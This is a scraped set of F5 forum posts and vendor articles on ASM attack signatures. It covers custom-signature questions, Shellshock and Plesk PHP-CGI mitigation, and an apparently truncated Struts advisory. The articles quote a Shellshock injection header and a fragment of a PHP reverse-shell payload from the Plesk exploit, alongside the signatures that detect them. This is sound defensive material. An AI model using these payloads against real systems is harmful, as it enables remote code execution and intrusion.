Custom Signature in ASM
I am trying to create a custom signature that detects a number of Nuisance URLs that are being thrown at our site, but am having a few issues with the syntax of the rule. I've read through the ASM syntax articles but appear to be missing something. So basically we are seeing a number of the following type of URLs thrown at us: http://www.website.com/someurlhttp:/ The http in the URI is not something we would normally have so I created a custom signature with the following rule: uricontent:"http"; nocase; objonly; I assigned it to a policy and set it to learn and alarm only but I am not seeing any hits on the signature. What am I missing? Updated: I did have this working using an irule and a string datagroup but am looking at implementing using ASM. Moved from comments for formatting. when HTTP_REQUEST { set uriclass "MalURI[URI::basename [virtual name]]" Check that URI is sanitised set luri [string tolower [HTTP::uri]] if { [class match $luri contains $uriclass] } { HTTP::respond 200 content "Company Name\Naughty Naughty" log local0. "URI is $luri" } }
Custom Signature in ASM
I am trying to create a custom signature that detects a number of Nuisance URLs that are being thrown at our site, but am having a few issues with the syntax of the rule. I've read through the ASM syntax articles but appear to be missing something. So basically we are seeing a number of the following type of URLs thrown at us: http://www.website.com/someurlhttp:/ The http in the URI is not something we would normally have so I created a custom signature with the following rule: uricontent:"http"; nocase; objonly; I assigned it to a policy and set it to learn and alarm only but I am not seeing any hits on the signature. What am I missing? Updated: I did have this working using an irule and a string datagroup but am looking at implementing using ASM. Moved from comments for formatting. when HTTP_REQUEST { set uriclass "MalURI[URI::basename [virtual name]]" Check that URI is sanitised set luri [string tolower [HTTP::uri]] if { [class match $luri contains $uriclass] } { HTTP::respond 200 content "Company Name\Naughty Naughty" log local0. "URI is $luri" } }
Bash Shellshock Mitigation Using ASM Signatures
Update: The signature mentioned in this article have been released as part of an Attack Signature Update. You may head to https://downloads.f5.com to download the file manually, or use the automatic update feature in ASM. This week we've seen new vulnerabilities with massive damage potential come to light – CVE-2014-6271,CVE-2014-6277 and CVE-2014-7169 - named quite appropriately "Shellshock". Background You can find details regarding this bash vulnerability on the Red Hat security blog: https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ In a typical exploit, the payload is sent through a header (typically Cookie, Referrer or User-Agent) and takes advantage of the way the web server saves the data in that request to environment variables. A malicious request will attempt to fool the bash parser by sending a payload that will invoke a system command, for instance: GET /home.php HTTP/1.1 Host: example.com User-Agent: () { :;}; /bin/bash -c "ls" The string "() { :;};" means it is a function declaration. The string is followed by various shell commands – in our case it is execution of the "ls" command. Mitigation using F5 ASM Attack Signatures The following signature will catch attempts to exploit this CVE: headercontent:"() {"; This signature is compatible with all BIG-IP versions. To prevent any other potential exploitation attempts via the URL or a parameter, two additional signatures can be used: uricontent:"() {"; objonly; valuecontent:"() {"; norm; Note: The signatures have been updated to catch exploit attempts in all their variations. It is important to note, that all attempts to exploit this vulnerability via HTTP parameters and several known exploits via the HTTP header are already mitigated using existing "command execution" and "predictable resource location" signatures. Exploits via the Cookie header will encounter the "Cookie not RFC-compliant" violation. You need to make sure they are enabled and are not in staging. To protect your application, create those user-defined signatures and associate them with the relevant security policy. Make sure that the signatures are not in staging.Plesk Vulnerability
Recently we’ve witnessed another example of a relatively old and specific vulnerability come to life using a very common and wide spread application. In this case it was the CVE-2012-1823 vulnerability, being exploited using the Plesk admin panel. This vulnerability allows remote code execution by using a bug in the PHP CGI wrapper, which allows injecting CGI options to the executable, as well as piping other shell commands. Plesk is a tool that allows automated deployment and centralized management of various system services such as: Web hosting, DNS and E-Mail. It is a widely used application, popular amongst independent SMB’s. This “out in the wild” code-execution exploit attempts to upload PHP code onto the server, using the aforementioned vulnerability in the CGI module. Code injection is possible thanks to query data being passed unescaped directly to shell. This allows passing options to the CGI binary such as –r (execute code) and –d (define ini). In addition, command line pipe-lining is also possible because the entire argument is declared unquoted: #!/bin/sh exec /dh/cgi-system/php5.cgi $* By simply reviewing the source code of the exploit, no particular sophistication or elaborate attack pattern was found. It is a straight forward attack vector with PHP code in body, and CGI parameters in query. This part of the exploit sets the PHP-CGI flags: As we can see, the –d flag is used to declare some config line directives, and the –n flag to bypass the local php.ini. Then the payload is being sent, which is a PHP page that sets up a shell with a socket:. $pwn="<?php echo \"Content-Type: text/plain\r\n\r\n\";set_time_limit (0); \$VERSION = \"1.0\"; \$ip ='$lip'; \$port = $lport; \$chunk_size = 1400; \$write_a = null;\$error_a = null; \$shell = '/bin/sh -i'; \$daemon = ... Issuing the exploit against an updated ASM version triggered the following signatures: 200004025 - PHP injection attempt ( <? ) 200004038 - PHP injection attempt ( posix_setsid ) 200100310 - "/bin" execution attempt (Parameter) 200100310 - Shell command (sh/ksh/etc) access (Value) 200100330 - PHP-CGI Shell Code Injection (v2) 200002437 - SQL-INJ "if(Expression,value,value)" (Parameter) The PHP and CGI signatures are quite expected, as well as the other command execution ones. As for the SQL-INJ signature, it could be considered a false positive since this attack was not SQL Injection. However, since the format of this signature resembles execution code as well as an SQL query – it is understandable why the PHP code located in the payload has triggered this signature.Mitigating The Apache Struts ClassLoader Manipulation Vulnerabilities Using ASM
Background Recently the F5 security research team has witnessed a series of CVE’s created for the popular Apache Struts platform. From Wikipedia: Apache Struts was an open-source web application framework for developing Java EE web applications. It uses and extends the Java Servlet API to encourage developers to adopt a model–view–controller (MVC) architecture. It was originally created by Craig McClanahan and donated to the Apache Foundation in May, 2000. Formerly located under the Apache Jakarta Project and known as Jakarta Struts, it became a top-level Apache project in 2005. The initial CVE-2014-0094 disclosed a critical vulnerability that allows an attacker to manipulate ClassLoader by using the ‘class’ parameter, which is directly mapped to the getClass() method through the ParametersInterceptor module in the Struts framework. The Apache Struts security bulletin recommended upgrading to Struts 2.3.16.1 to mitigate the vulnerability. Alternatively, users were also able to mitigate this vulnerability using a configuration change on their current Struts installations. The mitigation included adding the following regular expression to the list of disallowed parameters in ParametersInterceptor: '^class\.*' After several weeks, the solution was found to be incomplete, and sparked four new CVE’s: CVE-2014-0112, CVE-2014-0113, CVE-2014-0114 and CVE-2014-0116. Note: During the initial release of this article, CVE-2014-0114 andCVE-2014-0116 were not yet publicly disclosed, and weren't mentioned in this article. The article has now been edited to include mitigation for these CVEs as well. CVE-2014-0112 mentions the ClassLoader vulnerability still existing in parameters, and the security advisory for it suggests a new regular expression to include in the ParametersInterceptor config: (.*\.
F5 platform EoSD and Software EoSD is different. Which one need to use?
Hi We use F5 2000s with version 15.1.x From platform EoSD, It's already expired but from software EoSD. it's still available question is Which one should I use? If i use WAF and I believe attack signature will release if EoSD is still available...... question is right now will my attack signature still update? 2 what is different?
I create Attack signature and still in staging although I change it to blocking
Hi I have create attack signature which block the request if it is containing some words. the status of my signature is : Staging: No Learn: Yes Alarm: Yes Block: Yes Enabled: Yes What i dont understand is : when i try to access the blocked link i still can access it And when i go to : Security > Event Logs > Application > Requests F5 see it as an attack but in the status of "Applied Blocking Settings" is still Staged? The Enforcement Mode of my policy is : BlockingSignature updates while using a Checkpoint firewall
I want to set up the autoupdate for the signatures. What I want to know is how to configure this using a Checkpoint firewall? Is there a small range of IP address that we can put into the f/w to allow it to resolve to the update site? At the moment our Chekcpoint F.w isnt allowing us access due to the changing IP addresses TIA
ASM Signature Blocking, but not Enabled?
So I get a user ticket that says the user was blocked on the Application dir Access (\manage) signature. When I go to disable this attack signature on the parameter, it's not listed in the Global Security Policy Settings....So after some investigation I went to Manual Traffic Learning and found this signature listed, but not enforced yet... So my question is how did this user get blocked on a signature that hadn't been enforced or enabled yet? Granted the Policy itself is in Blocking Mode....??? Another Question is why did this signature not appear in the Global Security Policy Settings..??
